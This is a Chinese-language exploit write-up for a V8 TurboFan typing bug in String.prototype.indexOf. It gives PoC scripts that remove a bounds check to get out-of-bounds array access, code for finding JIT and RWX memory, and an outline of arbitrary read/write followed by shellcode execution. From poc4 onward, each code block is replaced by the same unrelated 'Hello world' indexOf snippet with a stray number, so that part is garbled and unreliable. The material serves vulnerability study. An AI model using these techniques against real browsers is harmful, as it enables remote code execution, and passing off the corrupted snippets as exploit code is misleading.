0 环境与背景知识
0.1 环境
首先搜一下在chrome的bug库中找到对应的issue号
从下面的评论中找到了对应的含有漏洞的v8版本
还原到parent版本
下图中的两个版本应该是都可以的(对于旧的版本可以使用JIT 新的v8版本可以使用wasm方法)这里的新指6.7版本之后的)当然了使用传统的泄漏libc方法也可以
0.2 Javascript indexOf方法
indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。
stringObject.indexOf(searchvalue,fromindex)
参数 | 描述 |
---|---|
searchvalue | 必需。规定需检索的字符串值。 |
fromindex | 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length – 1。如省略该参数,则将从字符串的首字符开始检索。 |
这里的fromindex补丁后是0到length-1,我们看到在漏洞版本中是-1到length-1(源码如下)
下面是几个这个函数使用的例子(取自菜鸟教程)
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
三个输出分别是
0 -1 6
下面我们看下面的使用方法
'1234'.indexOf("",1)
第二个参数是开始匹配的位置,第一个参数为空,这样的话一定匹配成功,返回我们给的第二个参数
不过当我们尝试越界访问的时候返回的是length
0.3 JIT
在 JavaScript 引擎中增加一个监视器监控着代码的运行情况,记录代码一共运行了多少次、如何运行的等信息。如果同一行代码运行了多次,这个代码段就会被送给JIT机制进行编译和优化,将编译后的机器代码保存在缓存中,下次直接执行这块机器代码即可,大大提高了一些情况下代码的执行效率。
在较早期版本的v8引擎中,经常使用向JIT写入shellcode的方式。不过在6.7版本之后,JIT的区域会被标记为不可写。可以考虑JIT Spray/JIT ROP之类的绕过。个人感觉JIT和wasm是很像的,wasm的介绍可以从文章找一下
下面的代码可以用来寻找JIT
//让function变hot function f() { for(let i=0;i<0x1000000;i++) { let a='migraine'; } } //通过jsfunction结构找到JIT的地址 let jsfunc_addr=wr.leak_obj(f); let jit_addr=wr.read(jsfunc_addr+6*8)-1; console.log("jsfunction address = "+hex(jsfunc_addr)); console.log("jit address = "+hex(jit_addr));
也可以使用debug调试(建议),比如下面
Code Builtin位置就是我们要写的位置
对应的可以找到偏移是0x38(对应上图中的job)
pwndbg> x/20gx 0xd0398602ef9-1 0xd0398602ef8: 0x00000350944024c1 0x00003d0ed2002251 0xd0398602f08: 0x00003d0ed2002251 0x00003d0ed2002321 0xd0398602f18: 0x0000125dd6732389 0x0000125dd6703cd1 0xd0398602f28: 0x0000125dd6732561 0x00002ad94bb0df41 <====== 0xd0398602f38: 0x00003d0ed20022e1 0x1beefdad0beefdaf
我们找到的位置是下图中的一部分
接着根据RWX段找到具体代码
可见偏移是0x60
所以找RWX地址的代码就是
var jit_addr = addrof(jit) - 1; console.log("jit_addr ==> 0x"+jit_addr.toString(16)) var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60 console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))
1 漏洞分析
起初漏洞分析的时候参考的是
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p
中关于这个issue的分析,后来复现的时候发现与我所面对有所出入(即下文中的2**28)
1.1 优化时分析
在Turbofan 的Typer中将indexof 的range分析设计成了-1到length-1,如下图中的源码
所以在优化分析的时候,Typer会将这里的范围设定为 range(-1, kMaxLength-1)
1.2 运行时分析
但是真正运行的时候,indexOf后面的参数最大只能到2**28-16位置,
当我们输入更大的数字给它时,它也只能返回2**28-16
例如我下面截图中的一些尝试,最后一个按照函数正确的调用应该返回2**28,
但是却只到了2**28-16
1.3 总结
笔者想到了一个表格,感觉可以形象的表述如何触发bug
传入x = 2**28-16
根据上面的尝试(其实后面发现这个出错了),写了下面的表格
程序流程(右侧的范围指这一行新出现的变量的取值范围) | 优化时情况 | 运行时情况 |
---|---|---|
let b = ‘A’.repeat(2**28-16).indexOf(“”,x) | range(-1,2**28-17) | (0,2**28-16) |
let a = b+16 | range(15,2**28-1) | (16,2**28) |
let c = a >> 28 | range(0,0) | (0,1) |
let idx = c * 1337 | range(0,0) | (0,1337) |
简单的解释一下,上面的表格可以设计成一个函数,第二列是优化的时候见到的情况,第三列则是运行时的实际情况.
如果我们使用表中得到的idx去访问一个数组的话,优化时会认为我们访问的是0号元素,从而去掉checkBound节点,而实际运行时我们可以越界访问,从而导致OOB
2 POC 尝试触发漏洞
有了上面的表格POC就相对好写一点了
起初想用下面的代码触发
2.1
poc1.js
function foo(x) { let oobArray = [1.1,2.2,3.3,4.4]; let b = 'A'.repeat(2**28-16).indexOf("",x); let a = b + 16; let c = a >> 28; // c = c - 3; let idx = c * 1337; return oobArray[idx]; } print(foo(1)); print(foo(1)); %OptimizeFunctionOnNextCall(foo); print(foo(2**28-16));
但是发现失败了,被检测到了越界
使用Turbolizer看一下优化的过程
问题似乎处在Typer阶段
我们希望这里的range是(-1,2**28-17),但是后面那个1073741798明显大了很多
这里就导致了Simplified Lowering阶段仍然有CheckBound节点
刚开始猜测可能是我将x当做参数传给函数,它不知道这个x的范围,所以设计的很大,于是改了一下POC
2.2
poc2.js
function foo() { x = 2**28-16; let oobArray = [1.1,2.2,3.3,4.4]; let b = 'A'.repeat(2**28-16).indexOf("",x); let a = b + 16; let c = a >> 28; let idx = c * 1337; return oobArray[idx]; } print(foo()); print(foo()); %OptimizeFunctionOnNextCall(foo); print(foo());
结果还是同样的,CheckBound节点没有去除,猜测可能这个优化的最大界就是那个数字,
尝试了修改字符串的长度,然后看一下优化图解
2.3
poc3.js
(0,1337) function foo(x) { let oobArray = [1.1,2.2,3.3,4.4]; let b = 'A'.repeat(16).indexOf("",x); let a = b + 16; let c = a >> 28; let idx = c * 1337; return oobArray[idx]; } print(foo(1)); print(foo(1)); %OptimizeFunctionOnNextCall(foo); print(foo(16));
发现最大界限仍然是这个数字(2**30-26)
猜测上面MaxLength对应的源码不是2**28次方了,测试一下
可以看到确实MaxLength不在是之前的2**28-16
重新测试了一下运行情况
2.4
尝试修改一下上面的表格(x = 2**30-25)
程序流程(右侧的范围指这一行新出现的变量的取值范围) | 优化时情况 | 运行时情况 |
---|---|---|
let b = ‘A’.repeat(2**30-25).indexOf(“”,x) | range(-1,2**30-26) | 2**30-25 |
let a = b+25 | range(24,2**30-25) | 2**30 |
let c = a >> 30 | range(0,0) | 1 |
let idx = c * 5 | range(0,0) | 5 |
下面是我一步一步运行poc时得到的结果
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
0
重新写一下POC
poc4.js
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
1
运行结果…..越界失败 起初我根据下面的图以为越界失败了
但是当我输出上面poc的index的时候发现实际上越界成功了(输出idx的效果如下图)
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
2
优化图解
我们确实得到了range(0,0),而且也没有了checkBound节点.
2.5
最后进一步完善一下,写出了下面的poc
poc5.js
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
3
上面POC的效果是将oobArray的第5个元素修改成1.74512933848984e-310;//i2f(0x202000000000)
在debug模式下运行一下
从上图中可以发现OOB成功
3 EXP
接下来的流程就是和之前的利用方法相似了,只不过最后一步用的是JIT,使用ArrayBuffer object 实现弹出计算器
如果不清楚这次利用的方法,建议阅读上面链接中的背景知识
3.1 change the size of oobArray
通过debug模式下的图解,我们可以知道我们要修改的是idx = 7的位置(如下图)
我尝试用下面的脚本进行修改大小时
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
4
按理说应该会改成0x2020
修改成功
3.2 Read and write at any address && obj leak
利用ArrayBuffer 的 Backstore指针 与 object
如果这一步不是很懂,可以看一下之前的背景知识
本部分的代码如下
其中gc()函数是使得内存更加的稳定
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
5
这里简单解释一下,笔者在oob地址下方push了一个ArrayBuffer 和 一个object
并通过oob数组越界找到其位置,运行效果如下
之后写了三个函数,分别用于泄漏地址,任意地址读,任意地址写
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
6
3.3 Get calc
这一步利用的是JIT
首先找到JIT代码的位置
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
7
之后写入shellcode并执行
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
8
最终效果
4 遇到的问题
4.0
说明:下面的问题是我刚开始想使用wasm方法写exp遇到的
写exp脚本的时候遇到了下面的问题
<script type="text/javascript"> var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world")) </script>
9
RangeError如果byteOffset超出了视图能储存的值,就会抛出错误.
这里最后的问题在于backstore的偏移找错了
应该是wasm的偏移找错了
解决方法在Debug模式下,打印出函数的地址,通过内存一点点找到RWX位置
打印出的函数地址,以及share_info位置
我们对应一下相对偏移(0x20)
同理利用上面的方法依次找到wasm instance RWX地址
实在不行,还可以search一下,比如上图我们找箭头的位置
下面的图片就不贴了,方法都是一样的
还有一个问题就是
下面脚本的位置有的时候在数字后面要加上’n’,有时不用 ,应该和不同版本的v8有关系
5 参考
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p
https://migraine-sudo.github.io/2020/02/22/roll-a-v8/#JIT 关于JIT寻找部分
除了上面这些参考,后面大部分都是探索出来的
6 总结
6.1 对于Turbofan的理解有时比具体的利用思路更加的重要
6.2 菜鸟还得继续努力